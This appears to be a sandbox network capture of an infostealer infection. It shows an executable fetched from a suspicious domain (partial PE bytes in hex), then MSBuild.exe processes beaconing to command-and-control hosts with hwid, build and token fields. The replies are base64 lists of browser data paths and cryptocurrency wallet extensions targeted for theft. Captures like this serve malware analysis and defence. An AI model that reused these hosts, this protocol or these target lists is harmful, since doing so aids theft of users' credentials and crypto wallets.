Oct 4, 2024 15:53:44.627265930 CEST	225	OUT	HEAD /ldms/f2e7fcb20146.exe#sp_sl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: jask.powerforxes.shop Cache-Control: no-cache
Oct 4, 2024 15:53:45.281162977 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:53:45 GMT Content-Type: application/octet-stream Content-Length: 484352 Last-Modified: Fri, 04 Oct 2024 13:28:34 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ffed82-76400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Oct 4, 2024 15:53:45.334832907 CEST	224	OUT	GET /ldms/f2e7fcb20146.exe#sp_sl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: jask.powerforxes.shop Cache-Control: no-cache
Oct 4, 2024 15:53:45.518846035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:53:45 GMT Content-Type: application/octet-stream Content-Length: 484352 Last-Modified: Fri, 04 Oct 2024 13:28:34 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ffed82-76400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dc 6f 0d 92 98 0e 63 c1 98 0e 63 c1 98 0e 63 c1 4b 7c 60 c0 94 0e 63 c1 4b 7c 66 c0 32 0e 63 c1 4b 7c 67 c0 8d 0e 63 c1 4b 7c 62 c0 9b 0e 63 c1 98 0e 62 c1 c0 0e 63 c1 5a 8f 67 c0 8a 0e 63 c1 5a 8f 60 c0 8c 0e 63 c1 5a 8f 66 c0 d6 0e 63 c1 6b 8c 6a c0 99 0e 63 c1 6b 8c 9c c1 99 0e 63 c1 6b 8c 61 c0 99 0e 63 c1 52 69 63 68 98 0e 63 c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 ed ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 a8 05 00 00 00 00 00 2b 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$occcK\|`cK\|f2cK\|gcK\|bcbcZgcZ`cZfckjckckacRichcPELf'+o@j@0m(xPO@,.text\| `.rdata@@.data`@.rsrcB@@.relocH@B
Oct 4, 2024 15:53:45.518871069 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0aG)hA]aYjjhPbGbG,hA>aYVWjYPbG-jVPbGA2h"AaY_^aGQ-aG#)h,A`Yh@
Oct 4, 2024 15:53:45.518882990 CEST	1236	IN	Data Raw: 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 80 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 fe 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 70 15 00 00 8b 4c 24 1c 8b c6 c7 06 28 Data Ascii: YY^U@B3D$EVL$PD$Puu:L$pL$(A^3W]Vt$(A^Vt$WVAFVGW_^OBU}uMjhOBucNYMPXE]D$VtjVYWYY^
Oct 4, 2024 15:53:45.518898964 CEST	1236	IN	Data Raw: e2 fc ff ff 5e 6a 02 58 5f c9 c3 56 8b f1 83 7e 10 00 c7 06 b8 e3 41 00 74 09 ff 76 0c e8 02 9b 00 00 59 ff 76 14 e8 f9 9a 00 00 59 c7 06 5c e2 41 00 5e c3 55 8b ec 83 ec 3c 8d 45 f0 53 56 57 50 8b d9 e8 d5 4a 00 00 8b f0 8d 7b 08 8d 45 c4 50 a5 Data Ascii: ^jX_V~AtvYvY\A^U<ESVWPJ{EP:LYYjY{_^[APt$JfD$YYAPt$t$t$JVt$WPt$Ru;t$u_^Vt$WPt$Rt;t$
Oct 4, 2024 15:53:45.518912077 CEST	896	IN	Data Raw: f3 35 02 00 00 89 45 e4 83 7a 14 0f 89 5d f8 76 05 8b 12 89 55 ec c1 e9 02 89 4d e8 85 c9 0f 84 47 01 00 00 89 55 f4 89 4d f0 0f be f3 66 81 c1 89 02 66 03 c1 f7 e9 66 c1 eb 6a 66 f7 e9 66 81 eb 5e 01 c1 ee fd c1 ea 18 81 ea e1 01 00 00 c1 c6 dd Data Ascii: 5Ez]vUMGUMfffjff^#f3FBfff#w(rXffff'#f%fBff5fff$ff3rBf+ffIf%#N@ffueoff
Oct 4, 2024 15:53:45.518923044 CEST	1236	IN	Data Raw: f7 ef 83 e9 74 eb 0d 4e 03 ca 66 f7 e9 c1 db 68 f7 e9 23 c2 66 48 74 17 f7 e1 66 23 f8 66 03 f8 0f b6 fe 81 e6 46 03 00 00 66 c1 d0 9b eb 06 81 cf b2 02 00 00 66 c1 cf ee c1 e2 65 66 f7 e3 66 be 57 01 c1 eb 43 7f 07 66 f7 e3 66 41 eb 0c 66 4b 66 Data Ascii: tNfh#fHtf#fFffeffWCffAfKffNf'fPft%rDX3ffGfw%D\|gHffffffMHf[JffKfHf ffBf#4tABf@
Oct 4, 2024 15:53:45.518934965 CEST	1236	IN	Data Raw: 66 83 e3 12 f7 e8 66 03 d9 c1 e3 32 f7 e7 81 e9 9a 00 00 00 66 c1 e0 fe 47 66 c1 c3 4f 66 81 ea c9 03 f7 e2 66 c1 eb 09 c1 d0 42 03 d2 74 14 66 ba a8 02 66 f7 ef 66 c1 ef 53 66 b9 51 00 66 f7 e0 eb 05 66 c1 c3 e9 42 66 c1 e7 b6 f7 e9 66 81 c9 3e Data Ascii: ff2fGfOffBtfffSfQffBff>fffsctHfC]f;@ffffcf+AGff#rwEffC3ffOufHfGf+fff@?r'ffff
Oct 4, 2024 15:53:45.518949986 CEST	1236	IN	Data Raw: ff 59 59 83 f8 ff 74 25 8b 75 fc 56 e8 5d 25 00 00 8b 06 59 8b ce ff 50 04 89 35 b4 70 47 00 8d 4d f8 e8 c1 0e 00 00 5f 8b c6 5e c9 c3 e8 0b ea ff ff cc 6a 24 b8 97 d2 41 00 e8 90 46 00 00 c7 45 e8 00 62 47 00 33 f6 8b c6 89 45 ec 68 2c 4f 42 00 Data Ascii: YYt%uV]%YP5pGM_^j$AFEbG3Eh,OBFYMbG@ bG$bG;\|;v;\|;v+WfE]}uM@}ujZubGAbG%@t9;\|5;v/I@bGP8bGS
Oct 4, 2024 15:53:45.518975973 CEST	1236	IN	Data Raw: 00 8b c6 5e 8b e5 5d c3 53 8b 5c 24 0c 55 8b e9 b9 ff ff ff 7f 3b d9 77 5a 6a 0f 58 3b d8 77 1a 53 ff 74 24 10 89 5d 10 55 89 45 14 e8 9c fa ff ff 83 c4 0c c6 04 2b 00 eb 34 56 57 51 50 53 e8 2f 05 00 00 8b f0 8d 4e 01 51 e8 6a 07 00 00 53 ff 74 Data Ascii: ^]S\$U;wZjX;wSt$]UE+4VWQPS/NQjSt$(]W}uh_^][SW\|$;wQjX;wjt${SC&J.VQPWNQOQt$${Ps^_[QSL$Uk
Oct 4, 2024 15:53:45.518989086 CEST	1236	IN	Data Raw: 50 04 03 d1 8b 42 0c 6a 04 5e 0b c6 6a 01 33 c9 39 4a 38 0f 45 f1 0b f0 56 8b ca e8 fc e6 ff ff b8 11 35 40 00 c3 83 4d fc ff 6a 04 5e 8b 7d e8 8b 55 e4 8b 07 8b 48 04 03 cf 6a 00 33 c0 39 41 38 0f 45 f0 0b 71 0c 0b f2 56 e8 cd e6 ff ff 8d 4d dc Data Ascii: PBj^j39J8EV5@Mj^}UHj39A8EqVM=<UQQA0SHMPEPYuR Mp[UMV;MwuE+;w2;BE^]@L8t`j(A6<
Oct 4, 2024 15:53:45.519000053 CEST	1236	IN	Data Raw: 2e 00 00 83 c6 18 59 81 fe f8 61 47 00 75 ee 5e 8b c7 5f c3 55 8b ec 8b 45 08 56 8b f1 89 06 85 c0 75 07 e8 5c 7f 00 00 eb 14 83 f8 08 7d 0f 6b c0 18 05 38 61 47 00 50 e8 41 2e 00 00 59 8b c6 5e 5d c2 04 00 83 c8 ff f0 0f c1 05 00 80 42 00 79 19 Data Ascii: .YaGu^_UEVu\}k8aGPA.Y^]ByV8aGV-YaGu^}k8aGP.YaaAAAUVu5A^]UQVuuA^UVuA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49796	46.8.231.109	80	5748	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:53:46.685156107 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49947	141.98.233.156	80	5924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:54:10.957823992 CEST	95	OUT	GET / HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 15:54:12.024199009 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:54:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 15:54:12.028664112 CEST	443	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI Host: proxy.johnmccrea.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 36 46 43 41 35 35 35 42 35 36 31 31 36 36 31 37 30 34 33 30 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="hwid"8F6FCA555B561166170430-a33c7340-61ca------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------ECFHJKEBAAECBFHIECGI--
Oct 4, 2024 15:54:12.579896927 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:54:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|bbc8dde750f6df4e800b28425bf1b8dd\|1\|1\|1\|0\|0\|50000\|10
Oct 4, 2024 15:54:12.594224930 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="mode"1------IDBGHDGHCGHCAAKFIIEC--
Oct 4, 2024 15:54:13.151710033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 4, 2024 15:54:13.151730061 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 4, 2024 15:54:13.164602995 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 4, 2024 15:54:13.228279114 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 15:54:13.231139898 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="mode"2------FHDAEHDAKECGCAKFCFIJ--
Oct 4, 2024 15:54:13.791882992 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 13:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 4, 2024 15:54:13.791898012 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
Oct 4, 2024 15:54:13.791909933 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Oct 4, 2024 15:54:13.791923046 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
